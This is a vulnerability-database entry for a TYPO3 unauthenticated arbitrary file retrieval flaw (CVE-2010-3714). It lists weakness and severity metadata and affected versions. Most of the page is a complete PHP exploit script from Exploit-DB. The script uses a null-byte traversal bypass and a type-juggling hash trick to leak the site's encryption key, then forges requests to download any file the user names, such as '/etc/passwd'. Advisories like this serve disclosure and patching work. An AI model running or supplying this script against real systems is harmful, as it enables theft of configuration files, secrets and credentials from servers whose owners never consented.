Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 15856
Publication date : 2010-12-28 23h00 +00:00
Author : ikki
EDB Verified : No
<?php
/* TYPO3-SA-2010-022.php
* Exploit Title: TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, TYPO3-SA-2010-022)
* Date: 29/12/2010
* Author: ikki
* Software Link: http://typo3.org/download/, http://sourceforge.net/projects/typo3/files/
* Version: 4.2.15, 4.3.7 or 4.4.4
* Tested on: php
* CVE : CVE-2010-3714 (non-typesafe comparison flaw), n/a (fileDenyPattern bypass)
* A demonstration video for this vulnerability is also available here: http://www.ikkisoft.com/stuff/TYPO3-SA-2010-020_video.htm
*
* @_ikki
*
* TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, plus TYPO3-SA-2010-022)
*
* Exploiting a non-typesafe comparison flaw, a remote aggressor can access arbitrary files
* on a vulnerable system. Authentication is not required to exploit this vulnerability.
* Moreover, a "fileDenyPattern" bypass has been implemented in order to speed up the attack.
*
* References:
* - http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020/
* - http://bugs.typo3.org/view.php?id=15898
* - http://php.net/manual/en/language.operators.comparison.php
* - http://blog.nibblesec.org/2010/12/unspecified-vulnerabilities.html ("least disclosure" rant)
*
* Fix: Update to the TYPO3 versions 4.2.16, 4.3.9, 4.4.5 or newer
* Credits: Gregor Kopf for finding the neat non-typesafe comparison flaw, Michał Trojnara for his daily tips
*/
define("VERSION","0.2");
/* v0.2
* - HTTP and HTTPS support (without verifying the peer's certificate)
* - File retrieval, just after the initial encryption key disclosure
* - Proxy support
* - (Dirty) multi requests support (using curl multi_requests)
* - Preliminary checks
*/
define("DEBUG",FALSE);
if(!defined("STDIN")) define("STDIN", fopen('php://stdin','r'));
if(!defined("STDERR")) define("STDERR", fopen('php://stderr','r'));
/* Turn on/off all error reporting */
DEBUG ? error_reporting(E_ALL) : error_reporting(0);
set_time_limit(0);
/* Main */
echo("\n\n :: [ TYPO3-SA-2010-022.php v".VERSION." ] :: \n\n");
if($argc=="3"){
$typo=$argv[1];
$reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack
}else if($argc=="4"){
$typo=$argv[1];
$reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack
$proxy=$argv[3];
}else{
echo "Usage: php ".$argv[0]." TYPO3ValidURL ParallelRequests (Proxy)\n\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." http://127.0.0.1/index.php?id=2 9\n";
echo "php ".$argv[0]." https://127.0.0.1/index.php?id=15 9\n";
echo "php ".$argv[0]." http://127.0.0.1:8080/index.php?id=223 12\n";
echo "php ".$argv[0]." http://127.0.0.1/index.php?id=223 12 http://127.0.0.1:8181\n\n";
exit;
}
$url=substr($typo,0,strpos($typo,"id=")-1);
$id=substr($typo,strpos($typo,"id=")+3);
$locationData=$id.":";
$jumpurl="typo3conf/ext/../localconf.php%00"; //Null byte and directory move up trick the fileDenyPattern mechanism
$juHash="0"; // "0" is a numeric string, converted internally to 0 (int) by PHP during comparisons
/* STEP 1 - Check the remote TYPO3 installation */
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
curl_setopt($ch, CURLOPT_POST, 1);
if(isset($proxy)){
curl_setopt($ch, CURLOPT_PROXY, $proxy);
}
curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash);
$output=curl_exec($ch);
if(stristr($output,"did not match")) {
echo("[*] TYPO3 successfully detected!\n");
}else{
echo("[!] A problem occurred while detecting the remote TYPO3 installation\n");
exit;
}
curl_close ($ch);
/* STEP 2 - Retrieve $TYPO3_CONF_VARS['SYS']['encryptionKey'] from /typo3conf/localconf.php */
$mh = curl_multi_init();
$handles = array();
$location = $locationData; //locationData with padding
for($i=0;$i<$reqs;$i++){
$ch = curl_init(); //create a new single curl handle
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_POST, 1);
if(isset($proxy)){
curl_setopt($ch, CURLOPT_PROXY, $proxy);
}
$location = "%20".$location;
curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash);
curl_multi_add_handle($mh,$ch);
$handles[] = $ch; // put the handles in an array to loop
}
echo("[*] Starting TYPO3's encryption key retrieval\n");
echo("[*] Padding locationData to force '0exxxxxx' strings. It may take a while.");
$rcont=0;
while(!stristr($output,"TYPO3_CONF_VARS['SYS']['encryptionKey']")){
$running=null;
do{
curl_multi_exec($mh,$running);
} while ($running > 0);
for($i=0;$i<count($handles);$i++){
$output = curl_multi_getcontent($handles[$i]);
$location="%20".$location;
curl_multi_remove_handle($mh,$handles[$i]);
curl_setopt($handles[$i], CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash);
curl_multi_add_handle($mh,$handles[$i]);
$rcont++;
echo(".");
}
}
curl_multi_remove_handle($mh,$handles[$i]);
curl_multi_close($mh);
$key=substr($output,strpos($output,"TYPO3_CONF_VARS['SYS']['encryptionKey'] = '")+43);
$key=substr($key,0,strpos($key,"';"));
echo("\n[*] Done! ".$rcont." requests\n");
echo("\n[*] TYPO3's encryption key:".$key."\n");
/* STEP 3 - Retrieve arbitrary files */
while(!0) {
echo("\n[*] Which file do you want to download?\n");
echo("[*] Please make your selection (e.g. '/etc/passwd'):\n\n");
$jumpurl=trim(fgets(STDIN,256));
/* Generate a valid hash as in the TYPO3 codebase*/
$hArr= array($jumpurl,$locationData,$key);
$juHash=substr(md5(serialize($hArr)),0,10);;
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
curl_setopt($ch, CURLOPT_POST, 1);
if(isset($proxy)){
curl_setopt($ch, CURLOPT_PROXY, $proxy);
}
curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash);
$output=curl_exec($ch);
echo("\n[*]------------------------------------------------------------------------------\n\n");
if(!stristr($output,"not a valid")) echo $output;
else echo("[!] An error occurred while retriving '".$jumpurl."'\n");
echo("\n\n[*]------------------------------------------------------------------------------\n");
curl_close ($ch);
}
Products Mentioned
Configuraton 0
Typo3>>Typo3 >> Version 4.2.0
Typo3>>Typo3 >> Version 4.2.1
Typo3>>Typo3 >> Version 4.2.2
Typo3>>Typo3 >> Version 4.2.3
Typo3>>Typo3 >> Version 4.2.4
Typo3>>Typo3 >> Version 4.2.5
Typo3>>Typo3 >> Version 4.2.6
Typo3>>Typo3 >> Version 4.2.7
Typo3>>Typo3 >> Version 4.2.8
Typo3>>Typo3 >> Version 4.2.9
Typo3>>Typo3 >> Version 4.2.10
Typo3>>Typo3 >> Version 4.2.11
Typo3>>Typo3 >> Version 4.2.12
Typo3>>Typo3 >> Version 4.2.13
Typo3>>Typo3 >> Version 4.2.14
Typo3>>Typo3 >> Version 4.2.15
Configuraton 0
Typo3>>Typo3 >> Version 4.3.0
Typo3>>Typo3 >> Version 4.3.1
Typo3>>Typo3 >> Version 4.3.2
Typo3>>Typo3 >> Version 4.3.3
Typo3>>Typo3 >> Version 4.3.4
Typo3>>Typo3 >> Version 4.3.5
Typo3>>Typo3 >> Version 4.3.6
Typo3>>Typo3 >> Version 4.3.7
Typo3>>Typo3 >> Version 4.3.8
Configuraton 0
Typo3>>Typo3 >> Version 4.4.0
Typo3>>Typo3 >> Version 4.4.1
Typo3>>Typo3 >> Version 4.4.2
Typo3>>Typo3 >> Version 4.4.3
Typo3>>Typo3 >> Version 4.4.4
References